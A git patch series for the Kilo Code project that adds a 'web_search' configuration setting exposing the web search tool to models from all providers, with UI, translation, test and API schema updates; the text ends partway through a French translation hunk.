From 44f13738a30668483a2cc5c22c6ba82a718cdb90 Mon Sep 17 00:00:00 2001 From: Josh Lambert Date: Sat, 18 Jul 2026 08:43:45 -0400 Subject: [PATCH 001/100] feat: configure web search availability for all providers Adds an experimental.websearch config flag that exposes the websearch tool to models from any provider, not only the Kilo gateway. The flag is editable from the VS Code Web Tools settings tab (renamed from Browser) and the Kilo Console Tools page, with project/global overlay inheritance and revert support. Environment flags KILO_ENABLE_EXA and KILO_ENABLE_PARALLEL keep working as before. --- .changeset/enable-websearch-config.md | 6 + packages/core/src/v1/config/config.ts | 3 + .../src/routes/config/ToolsRoute.tsx | 48 +++- .../src/components/settings/BrowserTab.tsx | 119 +++++--- .../src/components/settings/Settings.tsx | 6 +- .../kilo-vscode/webview-ui/src/i18n/en.ts | 8 + .../webview-ui/src/types/messages/config.ts | 1 + .../opencode/src/kilocode/config/overlay.ts | 1 + packages/opencode/src/tool/registry.ts | 2 + .../test/kilocode/config/config.test.ts | 6 + .../kilocode/server/config-overlay.test.ts | 36 +++ packages/sdk/js/src/v2/gen/types.gen.ts | 1 + packages/sdk/openapi.json | 258 +++++++++++++++++- 13 files changed, 458 insertions(+), 37 deletions(-) create mode 100644 .changeset/enable-websearch-config.md diff --git a/.changeset/enable-websearch-config.md b/.changeset/enable-websearch-config.md new file mode 100644 index 0000000000..ebbc4135f3 --- /dev/null +++ b/.changeset/enable-websearch-config.md @@ -0,0 +1,6 @@ +--- +"@kilocode/cli": patch +"kilo-code": patch +--- + +Configure web search for models from all providers through Kilo configuration, VS Code settings, and Kilo Console settings. diff --git a/packages/core/src/v1/config/config.ts b/packages/core/src/v1/config/config.ts index 97eb6bba35..b8ac33fef4 100644 --- a/packages/core/src/v1/config/config.ts +++ b/packages/core/src/v1/config/config.ts @@ -278,6 +278,9 @@ export const Info = Schema.Struct({ batch_tool: Schema.optional(Schema.Boolean).annotate({ description: "Enable the batch tool" }), // kilocode_change start codebase_search: Schema.optional(Schema.Boolean).annotate({ description: "Enable AI-powered codebase search" }), + websearch: Schema.optional(Schema.Boolean).annotate({ + description: "Enable web search for all model providers", + }), image_generation: Schema.optional(Schema.Boolean).annotate({ description: "Enable AI image generation" }), image_generation_model: Schema.optional(Schema.String).annotate({ description: "Model ID to use for image generation (default: openrouter/auto)", diff --git a/packages/kilo-console/src/routes/config/ToolsRoute.tsx b/packages/kilo-console/src/routes/config/ToolsRoute.tsx index 1aca8a16b8..5688e41084 100644 --- a/packages/kilo-console/src/routes/config/ToolsRoute.tsx +++ b/packages/kilo-console/src/routes/config/ToolsRoute.tsx @@ -1,14 +1,18 @@ import { createMemo, createSignal, For, Show } from "solid-js" import { ConfigRow, SectionTitle, StatusTag } from "@kilocode/kilo-web-ui/console" +import { Button } from "@kilocode/kilo-web-ui/button" +import { Card } from "@kilocode/kilo-web-ui/card" import { SearchField } from "../../components/SearchField" import { useConfig } from "../../context/config" import { toolCapabilities, toolName } from "../../shared/utils" -import { ConfigCountTag as CountTag, ConfigPage } from "./ConfigPage" +import { ConfigCountTag as CountTag, ConfigPage, ConfigTag as Tag, SourceBadge } from "./ConfigPage" export function ToolsRoute() { const ctx = useConfig() const [search, setSearch] = createSignal("") const snap = () => ctx.data() + const websearch = createMemo(() => snap()?.overlay.fields["experimental.websearch"]) + const searchEnabled = createMemo(() => websearch()?.value === true) const rows = createMemo(() => { const data = snap() if (!data) return [] @@ -52,6 +56,48 @@ export function ToolsRoute() { } description="Built-in tools available to agents, including file access, terminal execution, search, fetch, and orchestration tools." > + +
+
+

Web search

+

Control web search availability for models from providers that do not enable it by default.

+
+ + + +
+
+ +
+
+ = (props) => ( +

+ {props.title} +

+) + const BrowserTab: Component = () => { const { postMessage, onMessage } = useVSCode() const { t } = useLanguage() + const { config, updateConfig } = useConfig() const [settings, setSettings] = createSignal({ enabled: false, @@ -33,6 +51,10 @@ const BrowserTab: Component = () => { postMessage({ type: "updateSetting", key: `browserAutomation.${key}`, value }) } + const updateWebsearch = (checked: boolean) => { + updateConfig({ experimental: { ...config().experimental, websearch: checked } }) + } + return (
{/* Info text */} @@ -52,43 +74,78 @@ const BrowserTab: Component = () => { "line-height": "1.5", }} > - {t("settings.browser.description")} + {t("settings.webTools.description")}

- - {/* Enable toggle */} - - update("enabled", checked)} hideLabel> - {t("settings.browser.enable.title")} - - - - {/* Use System Chrome */} - - update("useSystemChrome", checked)} - hideLabel +
+
+ + - {t("settings.browser.systemChrome.title")} - - + + {t("settings.experimental.websearch.title")} + + + +
- {/* Headless mode */} - +
+

- update("headless", checked)} hideLabel> - {t("settings.browser.headless.title")} - - - + {t("settings.browser.description")} +

+ + {/* Enable toggle */} + + update("enabled", checked)} hideLabel> + {t("settings.browser.enable.title")} + + + + {/* Use System Chrome */} + + update("useSystemChrome", checked)} + hideLabel + > + {t("settings.browser.systemChrome.title")} + + + + {/* Headless mode */} + + update("headless", checked)} + hideLabel + > + {t("settings.browser.headless.title")} + + + + ) } diff --git a/packages/kilo-vscode/webview-ui/src/components/settings/Settings.tsx b/packages/kilo-vscode/webview-ui/src/components/settings/Settings.tsx index 7e67d9df60..8bd39f14a4 100644 --- a/packages/kilo-vscode/webview-ui/src/components/settings/Settings.tsx +++ b/packages/kilo-vscode/webview-ui/src/components/settings/Settings.tsx @@ -177,9 +177,9 @@ const Settings: Component = (props) => { {language.t("settings.autoApprove.title")} - + - {language.t("settings.browser.title")} + {language.t("settings.webTools.title")} @@ -249,7 +249,7 @@ const Settings: Component = (props) => { -

{language.t("settings.browser.title")}

+

{language.t("settings.webTools.title")}

diff --git a/packages/kilo-vscode/webview-ui/src/i18n/en.ts b/packages/kilo-vscode/webview-ui/src/i18n/en.ts index e1a53df79e..abe0350075 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/en.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/en.ts @@ -1177,6 +1177,7 @@ export const dict = { "settings.agentBehaviour.title": "Agent Behaviour", "settings.autoApprove.title": "Auto-Approve", "settings.browser.title": "Browser", + "settings.webTools.title": "Web Tools", "settings.checkpoints.title": "Checkpoints", "settings.display.title": "Display", "settings.autocomplete.title": "Autocomplete", @@ -1349,6 +1350,10 @@ export const dict = { "settings.browser.description": "When enabled, the AI agent can interact with web pages — navigating, clicking, typing, and taking screenshots. A Chrome window will open so you can watch the agent work.", + "settings.webTools.description": + "Configure web search and browser automation. Search requests connect directly to Exa or Parallel.", + "settings.webTools.websearchEnable": "Enable for All Providers", + "settings.webTools.browserAutomation": "Browser Automation", "settings.browser.enable.title": "Enable Browser Automation", "settings.browser.enable.description": "Register the Playwright MCP server with the CLI backend.", "settings.browser.systemChrome.title": "Use System Chrome", @@ -1409,6 +1414,9 @@ export const dict = { "settings.experimental.lsp.description": "Enable language server protocol integration", "settings.experimental.batch.title": "Batch Tool", "settings.experimental.batch.description": "Enable batching of multiple tool calls", + "settings.experimental.websearch.title": "Web Search", + "settings.experimental.websearch.description": + "Make web search available to models from all providers. Searches connect directly to Exa or Parallel.", "settings.experimental.codebaseSearch.title": "Codebase Search", "settings.experimental.codebaseSearch.description": "Enable AI-powered natural language search across your codebase", "settings.experimental.imageGeneration.title": "Image Generation", diff --git a/packages/kilo-vscode/webview-ui/src/types/messages/config.ts b/packages/kilo-vscode/webview-ui/src/types/messages/config.ts index c10943cecc..0dc2d05dc7 100644 --- a/packages/kilo-vscode/webview-ui/src/types/messages/config.ts +++ b/packages/kilo-vscode/webview-ui/src/types/messages/config.ts @@ -39,6 +39,7 @@ export interface WatcherConfig { export interface ExperimentalConfig { batch_tool?: boolean + websearch?: boolean codebase_search?: boolean image_generation?: boolean image_generation_model?: string diff --git a/packages/opencode/src/kilocode/config/overlay.ts b/packages/opencode/src/kilocode/config/overlay.ts index 2d576c3bce..b0cd42f88c 100644 --- a/packages/opencode/src/kilocode/config/overlay.ts +++ b/packages/opencode/src/kilocode/config/overlay.ts @@ -88,6 +88,7 @@ export namespace KilocodeConfigOverlay { ["disabled_providers"], ["watcher", "ignore"], ["instructions"], + ["experimental", "websearch"], ["indexing", "enabled"], ["indexing", "provider"], ["indexing", "model"], diff --git a/packages/opencode/src/tool/registry.ts b/packages/opencode/src/tool/registry.ts index bab5ff3c89..f8eb66469a 100644 --- a/packages/opencode/src/tool/registry.ts +++ b/packages/opencode/src/tool/registry.ts @@ -373,9 +373,11 @@ export const layer: Layer.Layer< }) const tools: Interface["tools"] = Effect.fn("ToolRegistry.tools")(function* (input) { + const cfg = yield* config.get() // kilocode_change const filtered = (yield* all()).filter((tool) => { if (!KiloToolRegistry.available(tool, input.agent)) return false // kilocode_change if (tool.id === WebSearchTool.id) { + if (cfg.experimental?.websearch === true) return true // kilocode_change return webSearchEnabled(input.providerID, { exa: flags.enableExa, parallel: flags.enableParallel }) } diff --git a/packages/opencode/test/kilocode/config/config.test.ts b/packages/opencode/test/kilocode/config/config.test.ts index dde6a6d707..50529c043f 100644 --- a/packages/opencode/test/kilocode/config/config.test.ts +++ b/packages/opencode/test/kilocode/config/config.test.ts @@ -152,6 +152,12 @@ describe("global config updates", () => { }) describe("kilocode indexing config", () => { + test("accepts the websearch availability setting", () => { + const config = Schema.decodeUnknownSync(Config.Info)({ experimental: { websearch: true } }) + + expect(config.experimental?.websearch).toBe(true) + }) + test("ignores retired semantic indexing flags in existing configs", async () => { await using tmp = await tmpdir({ git: true }) await writeConfig(tmp.path, { diff --git a/packages/opencode/test/kilocode/server/config-overlay.test.ts b/packages/opencode/test/kilocode/server/config-overlay.test.ts index d3351b0d50..e8a55f9ac7 100644 --- a/packages/opencode/test/kilocode/server/config-overlay.test.ts +++ b/packages/opencode/test/kilocode/server/config-overlay.test.ts @@ -201,6 +201,42 @@ describe("config overlay routes", () => { }) }) + test.serial("resolves and reverts project websearch overrides", async () => { + await using global = await tmpdir() + await using project = await tmpdir() + await setGlobal(global.path, { experimental: { websearch: true } }) + + await json( + await req(project.path, "/config/overlay", { + method: "PATCH", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ scope: "project", set: { experimental: { websearch: false } } }), + }), + ) + const overridden = await json(await req(project.path, "/config/overlay?scope=project")) + expect(overridden.fields["experimental.websearch"]).toMatchObject({ + source: "project", + inherited: false, + overridden: true, + value: false, + }) + + await json( + await req(project.path, "/config/overlay", { + method: "PATCH", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ scope: "project", unset: [["experimental", "websearch"]] }), + }), + ) + const inherited = await json(await req(project.path, "/config/overlay?scope=project")) + expect(inherited.fields["experimental.websearch"]).toMatchObject({ + source: "global", + inherited: true, + overridden: false, + value: true, + }) + }) + test.serial("marks global indexing values inherited in project scope", async () => { await using global = await tmpdir() await using project = await tmpdir() diff --git a/packages/sdk/js/src/v2/gen/types.gen.ts b/packages/sdk/js/src/v2/gen/types.gen.ts index 9bdf89a86c..0bd15820a7 100644 --- a/packages/sdk/js/src/v2/gen/types.gen.ts +++ b/packages/sdk/js/src/v2/gen/types.gen.ts @@ -1699,6 +1699,7 @@ export type Config = { disable_paste_summary?: boolean batch_tool?: boolean codebase_search?: boolean + websearch?: boolean image_generation?: boolean image_generation_model?: string agent_requirements?: boolean diff --git a/packages/sdk/openapi.json b/packages/sdk/openapi.json index 1c1f594374..7ea6d2387d 100644 --- a/packages/sdk/openapi.json +++ b/packages/sdk/openapi.json @@ -25850,8 +25850,7 @@ "items": { "type": "string", "pattern": "^\\s*\\.?[A-Za-z0-9][A-Za-z0-9_+-]*\\s*$" - }, - "minItems": 1 + } } }, "additionalProperties": false @@ -27001,6 +27000,9 @@ "codebase_search": { "type": "boolean" }, + "websearch": { + "type": "boolean" + }, "image_generation": { "type": "boolean" }, @@ -33543,6 +33545,52 @@ } ] }, + "added": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "removed": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, "skippedCount": { "anyOf": [ { @@ -33840,6 +33888,52 @@ } ] }, + "added": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "removed": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, "skippedCount": { "anyOf": [ { @@ -34137,6 +34231,52 @@ } ] }, + "added": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "removed": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, "skippedCount": { "anyOf": [ { @@ -41274,6 +41414,44 @@ } ] }, + "added": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "removed": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, "skippedCount": { "anyOf": [ { @@ -41535,6 +41713,44 @@ } ] }, + "added": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "removed": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, "skippedCount": { "anyOf": [ { @@ -41796,6 +42012,44 @@ } ] }, + "added": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "removed": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, "skippedCount": { "anyOf": [ { From 91d87588bf88af5b0e75780aab9637d23142dc76 Mon Sep 17 00:00:00 2001 From: Josh Lambert Date: Tue, 21 Jul 2026 09:11:20 -0400 Subject: [PATCH 002/100] fix: address web search review feedback --- packages/core/src/v1/config/config.ts | 6 +-- .../src/routes/config/ToolsRoute.tsx | 6 +-- .../tests/settings-accessibility.spec.ts | 2 +- .../src/components/settings/BrowserTab.tsx | 12 ++--- .../kilo-vscode/webview-ui/src/i18n/ar.ts | 8 ++- .../kilo-vscode/webview-ui/src/i18n/br.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/bs.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/da.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/de.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/en.ts | 15 +++--- .../kilo-vscode/webview-ui/src/i18n/es.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/fr.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/it.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/ja.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/ko.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/nl.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/no.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/pl.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/ru.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/th.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/tr.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/uk.ts | 9 +++- .../kilo-vscode/webview-ui/src/i18n/zh.ts | 7 ++- .../kilo-vscode/webview-ui/src/i18n/zht.ts | 7 ++- .../webview-ui/src/types/messages/config.ts | 2 +- .../opencode/src/kilocode/config/overlay.ts | 2 +- packages/opencode/src/tool/registry.ts | 2 +- .../test/kilocode/config/config.test.ts | 8 +-- .../kilocode/server/config-overlay.test.ts | 10 ++-- packages/opencode/test/tool/registry.test.ts | 50 ++++++++++++++++++- packages/sdk/js/src/v2/gen/types.gen.ts | 2 +- packages/sdk/openapi.json | 6 +-- 32 files changed, 233 insertions(+), 56 deletions(-) diff --git a/packages/core/src/v1/config/config.ts b/packages/core/src/v1/config/config.ts index b8ac33fef4..bd9baab123 100644 --- a/packages/core/src/v1/config/config.ts +++ b/packages/core/src/v1/config/config.ts @@ -226,6 +226,9 @@ export const Info = Schema.Struct({ layout: Schema.optional(ConfigLayoutV1.Layout).annotate({ description: "@deprecated Always uses stretch layout." }), permission: Schema.optional(ConfigPermissionV1.Info), tools: Schema.optional(Schema.Record(Schema.String, Schema.Boolean)), + web_search: Schema.optional(Schema.Boolean).annotate({ + description: "Make web search available to models from all providers", + }), // kilocode_change attachment: Schema.optional(ConfigAttachmentV1.Info).annotate({ description: "Attachment processing configuration, including image size limits and resizing behavior", }), @@ -278,9 +281,6 @@ export const Info = Schema.Struct({ batch_tool: Schema.optional(Schema.Boolean).annotate({ description: "Enable the batch tool" }), // kilocode_change start codebase_search: Schema.optional(Schema.Boolean).annotate({ description: "Enable AI-powered codebase search" }), - websearch: Schema.optional(Schema.Boolean).annotate({ - description: "Enable web search for all model providers", - }), image_generation: Schema.optional(Schema.Boolean).annotate({ description: "Enable AI image generation" }), image_generation_model: Schema.optional(Schema.String).annotate({ description: "Model ID to use for image generation (default: openrouter/auto)", diff --git a/packages/kilo-console/src/routes/config/ToolsRoute.tsx b/packages/kilo-console/src/routes/config/ToolsRoute.tsx index 5688e41084..9dcb20b6e0 100644 --- a/packages/kilo-console/src/routes/config/ToolsRoute.tsx +++ b/packages/kilo-console/src/routes/config/ToolsRoute.tsx @@ -11,7 +11,7 @@ export function ToolsRoute() { const ctx = useConfig() const [search, setSearch] = createSignal("") const snap = () => ctx.data() - const websearch = createMemo(() => snap()?.overlay.fields["experimental.websearch"]) + const websearch = createMemo(() => snap()?.overlay.fields.web_search) const searchEnabled = createMemo(() => websearch()?.value === true) const rows = createMemo(() => { const data = snap() @@ -66,7 +66,7 @@ export function ToolsRoute() { @@ -79,7 +79,7 @@ export function ToolsRoute() { type="button" aria-pressed={searchEnabled()} disabled={Boolean(ctx.saving()) || websearch()?.editable === false} - onClick={() => ctx.save({ experimental: { websearch: !searchEnabled() } })} + onClick={() => ctx.save({ web_search: !searchEnabled() })} > Enable for all providers diff --git a/packages/kilo-vscode/tests/settings-accessibility.spec.ts b/packages/kilo-vscode/tests/settings-accessibility.spec.ts index 03073ea4c5..5e2b62082f 100644 --- a/packages/kilo-vscode/tests/settings-accessibility.spec.ts +++ b/packages/kilo-vscode/tests/settings-accessibility.spec.ts @@ -6,7 +6,7 @@ const NAMES = [ "Providers", "Agent Behaviour", "Auto-Approve", - "Browser", + "Web Tools", "Checkpoints", "Display", "Autocomplete", diff --git a/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx b/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx index 1422752ff5..fabc7858b8 100644 --- a/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx +++ b/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx @@ -52,7 +52,7 @@ const BrowserTab: Component = () => { } const updateWebsearch = (checked: boolean) => { - updateConfig({ experimental: { ...config().experimental, websearch: checked } }) + updateConfig({ web_search: checked }) } return ( @@ -79,15 +79,15 @@ const BrowserTab: Component = () => {
-
+
- - {t("settings.experimental.websearch.title")} + + {t("settings.webTools.webSearch.title")} diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ar.ts b/packages/kilo-vscode/webview-ui/src/i18n/ar.ts index f86fe517b0..02fc76303d 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ar.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ar.ts @@ -1203,7 +1203,13 @@ export const dict = { "settings.section.configuration": "الإعدادات", "settings.agentBehaviour.title": "سلوك الوكيل", "settings.autoApprove.title": "الموافقة التلقائية", - "settings.browser.title": "المتصفح", + "settings.webTools.title": "أدوات الويب", + "settings.webTools.description": "اضبط البحث على الويب وأتمتة المتصفح. تتصل طلبات البحث مباشرةً بـ Exa أو Parallel.", + "settings.webTools.webSearch.enable": "تمكين لجميع المزوّدين", + "settings.webTools.browserAutomation": "أتمتة المتصفح", + "settings.webTools.webSearch.title": "البحث على الويب", + "settings.webTools.webSearch.description": + "اجعل البحث على الويب متاحًا لنماذج جميع المزوّدين. تتصل عمليات البحث مباشرةً بـ Exa أو Parallel.", "settings.checkpoints.title": "نقاط التحقق", "settings.display.title": "العرض", "settings.autocomplete.title": "الإكمال التلقائي", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/br.ts b/packages/kilo-vscode/webview-ui/src/i18n/br.ts index 35a1450ea1..902114dd85 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/br.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/br.ts @@ -1224,7 +1224,14 @@ export const dict = { "settings.section.configuration": "Configuração", "settings.agentBehaviour.title": "Comportamento do Agente", "settings.autoApprove.title": "Aprovação Automática", - "settings.browser.title": "Navegador", + "settings.webTools.title": "Ferramentas da Web", + "settings.webTools.description": + "Configure a pesquisa na web e a automação do navegador. As solicitações de pesquisa se conectam diretamente ao Exa ou Parallel.", + "settings.webTools.webSearch.enable": "Ativar para todos os provedores", + "settings.webTools.browserAutomation": "Automação do navegador", + "settings.webTools.webSearch.title": "Pesquisa na Web", + "settings.webTools.webSearch.description": + "Disponibilize a pesquisa na web para modelos de todos os provedores. As pesquisas se conectam diretamente ao Exa ou Parallel.", "settings.checkpoints.title": "Pontos de Verificação", "settings.display.title": "Exibição", "settings.autocomplete.title": "Autocompletar", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/bs.ts b/packages/kilo-vscode/webview-ui/src/i18n/bs.ts index c19e73262c..dbb2e7b923 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/bs.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/bs.ts @@ -1269,7 +1269,14 @@ export const dict = { "settings.section.configuration": "Konfiguracija", "settings.agentBehaviour.title": "Ponašanje agenta", "settings.autoApprove.title": "Automatsko odobravanje", - "settings.browser.title": "Preglednik", + "settings.webTools.title": "Web alati", + "settings.webTools.description": + "Konfigurišite web pretragu i automatizaciju preglednika. Zahtjevi za pretragu povezuju se direktno s Exa ili Parallel.", + "settings.webTools.webSearch.enable": "Omogući za sve pružaoce", + "settings.webTools.browserAutomation": "Automatizacija preglednika", + "settings.webTools.webSearch.title": "Web pretraga", + "settings.webTools.webSearch.description": + "Omogućite web pretragu modelima svih pružalaca. Pretrage se povezuju direktno s Exa ili Parallel.", "settings.checkpoints.title": "Kontrolne tačke", "settings.display.title": "Prikaz", "settings.autocomplete.title": "Automatsko dovršavanje", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/da.ts b/packages/kilo-vscode/webview-ui/src/i18n/da.ts index 8e9a593dd3..028595f859 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/da.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/da.ts @@ -1262,7 +1262,14 @@ export const dict = { "settings.section.configuration": "Konfiguration", "settings.agentBehaviour.title": "Agentadfærd", "settings.autoApprove.title": "Automatisk godkendelse", - "settings.browser.title": "Browser", + "settings.webTools.title": "Webværktøjer", + "settings.webTools.description": + "Konfigurer websøgning og browserautomatisering. Søgeanmodninger sendes direkte til Exa eller Parallel.", + "settings.webTools.webSearch.enable": "Aktivér for alle udbydere", + "settings.webTools.browserAutomation": "Browserautomatisering", + "settings.webTools.webSearch.title": "Websøgning", + "settings.webTools.webSearch.description": + "Gør websøgning tilgængelig for modeller fra alle udbydere. Søgninger sendes direkte til Exa eller Parallel.", "settings.checkpoints.title": "Kontrolpunkter", "settings.display.title": "Visning", "settings.autocomplete.title": "Autofuldførelse", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/de.ts b/packages/kilo-vscode/webview-ui/src/i18n/de.ts index 380e7d3db4..4adcf7b72f 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/de.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/de.ts @@ -1283,7 +1283,14 @@ export const dict = { "settings.section.configuration": "Konfiguration", "settings.agentBehaviour.title": "Agentenverhalten", "settings.autoApprove.title": "Automatisch genehmigen", - "settings.browser.title": "Browser", + "settings.webTools.title": "Web-Tools", + "settings.webTools.description": + "Konfigurieren Sie Websuche und Browserautomatisierung. Suchanfragen werden direkt an Exa oder Parallel gesendet.", + "settings.webTools.webSearch.enable": "Für alle Anbieter aktivieren", + "settings.webTools.browserAutomation": "Browserautomatisierung", + "settings.webTools.webSearch.title": "Websuche", + "settings.webTools.webSearch.description": + "Machen Sie die Websuche für Modelle aller Anbieter verfügbar. Suchanfragen werden direkt an Exa oder Parallel gesendet.", "settings.checkpoints.title": "Prüfpunkte", "settings.display.title": "Anzeige", "settings.autocomplete.title": "Autovervollständigung", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/en.ts b/packages/kilo-vscode/webview-ui/src/i18n/en.ts index abe0350075..e926699acc 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/en.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/en.ts @@ -1176,8 +1176,14 @@ export const dict = { "settings.section.configuration": "Configuration", "settings.agentBehaviour.title": "Agent Behaviour", "settings.autoApprove.title": "Auto-Approve", - "settings.browser.title": "Browser", "settings.webTools.title": "Web Tools", + "settings.webTools.description": + "Configure web search and browser automation. Search requests connect directly to Exa or Parallel.", + "settings.webTools.webSearch.enable": "Enable for All Providers", + "settings.webTools.browserAutomation": "Browser Automation", + "settings.webTools.webSearch.title": "Web Search", + "settings.webTools.webSearch.description": + "Make web search available to models from all providers. Searches connect directly to Exa or Parallel.", "settings.checkpoints.title": "Checkpoints", "settings.display.title": "Display", "settings.autocomplete.title": "Autocomplete", @@ -1350,10 +1356,6 @@ export const dict = { "settings.browser.description": "When enabled, the AI agent can interact with web pages — navigating, clicking, typing, and taking screenshots. A Chrome window will open so you can watch the agent work.", - "settings.webTools.description": - "Configure web search and browser automation. Search requests connect directly to Exa or Parallel.", - "settings.webTools.websearchEnable": "Enable for All Providers", - "settings.webTools.browserAutomation": "Browser Automation", "settings.browser.enable.title": "Enable Browser Automation", "settings.browser.enable.description": "Register the Playwright MCP server with the CLI backend.", "settings.browser.systemChrome.title": "Use System Chrome", @@ -1414,9 +1416,6 @@ export const dict = { "settings.experimental.lsp.description": "Enable language server protocol integration", "settings.experimental.batch.title": "Batch Tool", "settings.experimental.batch.description": "Enable batching of multiple tool calls", - "settings.experimental.websearch.title": "Web Search", - "settings.experimental.websearch.description": - "Make web search available to models from all providers. Searches connect directly to Exa or Parallel.", "settings.experimental.codebaseSearch.title": "Codebase Search", "settings.experimental.codebaseSearch.description": "Enable AI-powered natural language search across your codebase", "settings.experimental.imageGeneration.title": "Image Generation", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/es.ts b/packages/kilo-vscode/webview-ui/src/i18n/es.ts index e1cd429614..d66f4bd86f 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/es.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/es.ts @@ -1276,7 +1276,14 @@ export const dict = { "settings.section.configuration": "Configuración", "settings.agentBehaviour.title": "Comportamiento del agente", "settings.autoApprove.title": "Aprobación automática", - "settings.browser.title": "Navegador", + "settings.webTools.title": "Herramientas web", + "settings.webTools.description": + "Configura la búsqueda web y la automatización del navegador. Las solicitudes de búsqueda se conectan directamente a Exa o Parallel.", + "settings.webTools.webSearch.enable": "Habilitar para todos los proveedores", + "settings.webTools.browserAutomation": "Automatización del navegador", + "settings.webTools.webSearch.title": "Búsqueda web", + "settings.webTools.webSearch.description": + "Permite que los modelos de todos los proveedores usen la búsqueda web. Las búsquedas se conectan directamente a Exa o Parallel.", "settings.checkpoints.title": "Puntos de control", "settings.display.title": "Pantalla", "settings.autocomplete.title": "Autocompletado", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/fr.ts b/packages/kilo-vscode/webview-ui/src/i18n/fr.ts index 71055c0d65..1ed7c73e8b 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/fr.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/fr.ts @@ -1287,7 +1287,14 @@ export const dict = { "settings.section.configuration": "Configuration", "settings.agentBehaviour.title": "Comportement de l'agent", "settings.autoApprove.title": "Approbation automatique", - "settings.browser.title": "Navigateur", + "settings.webTools.title": "Outils web", + "settings.webTools.description": + "Configurez la recherche web et l’automatisation du navigateur. Les requêtes de 